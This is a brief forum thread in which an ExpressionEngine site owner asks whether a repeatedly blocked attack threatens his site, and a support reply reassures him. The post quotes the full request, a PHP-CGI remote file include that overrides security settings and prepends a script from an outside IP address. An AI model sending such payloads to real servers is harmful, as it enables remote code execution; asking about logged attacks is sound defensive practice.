Thread

Our web host installed SecureLive on our account, so now we get notifications of attacks or anything along those lines.

This is one we repeatedly see (46 times in the past two months):

Why Blocked:
(1) Remote File Include #rfi (2) MySQL attack #01287406

Attack Used:
/index.php?-dsafe_mode=Off+-ddisable_functions=NULL+-dallow_url_fopen=On+-dallow_url_include=On+-dauto_prepend_file=http://81.17.24.83/info3.txt

I’m wondering if ExpressionEngine is even open to that kind of attack?  I’m not security savvy but do not want to rely on SecureLive.

Thanks,
Chris

Hey Chriiiiso,

Thank you for posting your question here on the ExpressionEngine forums.

I think you will be fine. These kinds of hacks are attempted frequently.

Is there anything else I can help with?

Cheers,